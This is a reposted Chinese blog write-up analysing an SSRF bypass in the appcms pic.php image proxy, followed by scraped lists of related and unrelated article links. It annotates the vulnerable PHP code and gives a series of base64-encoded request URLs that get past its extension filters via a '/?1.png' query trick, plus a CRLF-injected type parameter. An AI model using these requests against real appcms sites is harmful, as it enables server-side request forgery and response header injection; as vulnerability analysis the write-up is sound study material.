appcms SSRF 绕过漏洞[转载]
漏洞
<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
$img_url=trim($_GET['url']); //去掉空白字符
$img_url = base64_decode($img_url); //把url参数做base64解码、说明传入时是base64编码的
$img_url=strtolower(trim($img_url));//把img_url转化为小写
$_GET['type']=strtolower(trim($_GET['type']));//把type转为小写 $urls=explode('.',$img_url); //使用 . 分割 img_url,如果是1.png
if(count($urls)<=1) die('image type forbidden 0');//如果urls数组小于或者等于1,则终止输出image type forbidden 0
//也就是说首先要绕过这个流程,就必须要urls数组大于1才可以,也就是.做base64编码,然后.的左右要都不为空才可以;
//把 http://test.com 做base64编码后的值是 aHR0cDovL3Rlc3QuY29t 然后用这个值试试可否绕过第一部流程;
//访问 /pic.php?url=aHR0cDovL3Rlc3QuY29t&type=png
// 走到下面的流程了,继续看下面的代码;
$file_type=$urls[count($urls)-1]; //取得数组倒数第一个值,这里是获取文件类型的哦
if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}
//判断图片类型是不是’jpg’,’gif’,’png’,’jpeg’这几种,如果是的话什么都不做,如果不是的话则输出 image type foridden 1
//上面走到 image type foridden 1了,接着要加个图片类型,绕过这个流程;
//把http://test.com/1.png 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucG5n 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=png, 在这样是可以绕过这个流程,不过显示的不对了,成为正常访问图片的效果了
//要实现ssrf 这样是做不到了,换成php试试呢,
//把http://test.com/1.php 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucGhw 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=php
发现又回到了上面的流程、这样行不通。。。
//上面流程主要是判断图片类型的、 把http://test.com/1.png 做编码,这样是读png图片流,响应为php文件;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=php
发现在客户端是下载php的,而不是去解析php的,因为随便构造的,下载下来的文件是啥都没有。
//上面是把图片当作php文件去下载、 反过来试试呢
//把php文件当图片下载
把http://test.com/1.php 做编码;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=png
试过了还是不行、还是回到了上面的流程了、、、
因为在 url 参数中做了扩展名控制,所以不能任意文件下载,不然可以做base64编码做任意文件下载噢、还有一种情况存在的可能性,解析漏洞、试试看
把http://test.com/1.php%00.png 做编码是 aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==
访问:http://127.0.0.1/appcms/pic.php?url= aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==&type=png
// appcms 的设计还真是严谨、考虑的这么周到;终于到下一步了;
if(strstr($img_url,'php')) die('image type forbidden 2');//这里看到了,防护了解析漏洞
if(strstr($img_url,chr(0)))die('image type forbidden 3');//这里还判断了空字符截断
if(strlen($img_url)>256)die('url too length forbidden 4');//还判断了 url长度不能大于256
header("Content-Type: image/{$_GET['type']}");//这里是重点,type是响应类型,这个参数是可控的了
readfile($img_url);//开始读文件 } else {
die('image not find!');//如果没有设置url或者type走这里
}
代码分析完毕、、、、
之后考虑了下 /1.png 可以通过判断, 用/?1.png也可以通过判断,这就是问题所在了,/?1.png相当于/index.php?pic=1.png或者/index.html?pic=1.png,这样访问在没有获取这个参数时会忽略掉直接显示;试试看
随便找个站 http://www.baidu.com/?1.png ,然后做base64编码;
aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n
访问:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dtest
appcms SSRF 绕过漏洞[转载]的更多相关文章
- SSRF绕过IP限制方法总结
SSRF绕过IP限制方法总结 - Summary of SSRF methods for bypassing IP restrictions -https://www.cnblogs.com/iAmS ...
- SSRF绕过姿势
0x00 什么是SSRF? SSRF(Server-Side Request Forgery,服务器端请求伪造):是一种由攻击者构造形成由服务器端发起请求的一个漏洞. SSRF 攻击的目标是从外网无法 ...
- Java %c0%ae 安全模式绕过漏洞
漏洞类型:安全模式绕过漏洞 漏洞描述:在Java端"%c0%ae"解析为"\uC0AE",最后转义为ASCCII低字符-".".通过这个方法 ...
- Apache Struts2 s2-020补丁安全绕过漏洞
CNVD-ID CNVD-2014-01552 发布时间 2014-03-11 危害级别 高 影响产品 Apache struts 2.0.0-2.3.16 BUGTRAQ ID 65999 CVE ...
- Python‘ssl.match_hostname()’函数SSL证书验证安全绕过漏洞
漏洞名称: Python‘ssl.match_hostname()’函数SSL证书验证安全绕过漏洞 CNNVD编号: CNNVD-201312-033 发布时间: 2013-12-04 更新时间: 2 ...
- Linux kernel AACRAID Driver Compat IOCTL 本地安全绕过漏洞
漏洞名称: Linux kernel AACRAID Driver Compat IOCTL 本地安全绕过漏洞 CNNVD编号: CNNVD-201311-390 发布时间: 2013-11-29 更 ...
- Apache Struts 安全措施绕过漏洞(CVE-2013-4310)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62584 CVE(CAN) ID: CVE-2013-4310 Struts2 是 ...
- Apache Hadoop RPC Authentication 安全绕过漏洞
漏洞名称: Apache Hadoop RPC Authentication 安全绕过漏洞 CNNVD编号: CNNVD-201308-425 发布时间: 2013-08-28 更新时间: 2013- ...
- Apache HBase RPC身份验证中间人安全措施绕过漏洞(CVE-2013-2193)
漏洞版本: Apache Group HBase 0.94.x Apache Group HBase 0.92.x 漏洞描述: BUGTRAQ ID: 61981 CVE(CAN) ID: CVE-2 ...
随机推荐
- [SDOI2015] 寻宝游戏
传送门:>Here< 题意:给出一棵树(有边权),刚开始键值全部为0.每次对其中一个键值进行异或,问每一次修改之后:选择任意一个点出发走到所有为1的点再走回来的最短路 解题思路 由于N,M ...
- 【支付宝】支付 系统繁忙,请稍后再试(ALIN10146)
https://openclub.alipay.com/read.php?tid=6918&fid=60 我碰到的是这个问题导致 把signType 改为 RSA2 改成
- MT【251】椭圆中的好题
已知直线$l:x+y-\sqrt{3}=0$过椭圆$E:\dfrac{x^2}{a^2}+\dfrac{y^2}{b^2}=1,(a>b>0)$的右焦点且与椭圆$E$交于$A,B$两点,$ ...
- Elasticsearch 安全篇
为什么要开放外网访问Elasticsearch:1.一些插件监听使用,方便及时了解线上数据的情况,比如说head插件等2.为了HTTP直接访问,有的同学考虑到通过后台TCP查询,然后返回数据,还不如直 ...
- 【刷题】BZOJ 1413 [ZJOI2009]取石子游戏
Description 在研究过Nim游戏及各种变种之后,Orez又发现了一种全新的取石子游戏,这个游戏是这样的: 有n堆石子,将这n堆石子摆成一排.游戏由两个人进行,两人轮流操作,每次操作者都可以从 ...
- js-元素相关
获取元素方法一 可以使用内置对象document上的getElementById方法来获取页面上设置了id属性的元素,获取到的是一个html对象,然后将它赋值给一个变量,比如: <script ...
- Can DBC文件翻译
1 引言 DBC文件描述单个CAN网络的通信.这个信息足以监测和分析网络并模拟不是物理可用的节点(剩余的总线模拟). DBC文件也可以用来开发电子控制单元的通信软件,该控制单元应该是CAN网络的一部分 ...
- Composer 安装时要求输入授权用户名密码?
D:\work\dreamland-yii>composer require "saviorlv/yii2-dysms:dev-master" Authentication ...
- 洛谷P1712 区间
题意:给你n个区间,从中选择m个,使得它们有交,且最长与最短区间的差值最小. 解:这道题我想了好多的,nlog²n错的,nlogn错的,最后终于想出nlogn的了...... 把区间按照长度排序,然后 ...
- 第一篇-Git基础学习
学习网址: https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000/0013758410 ...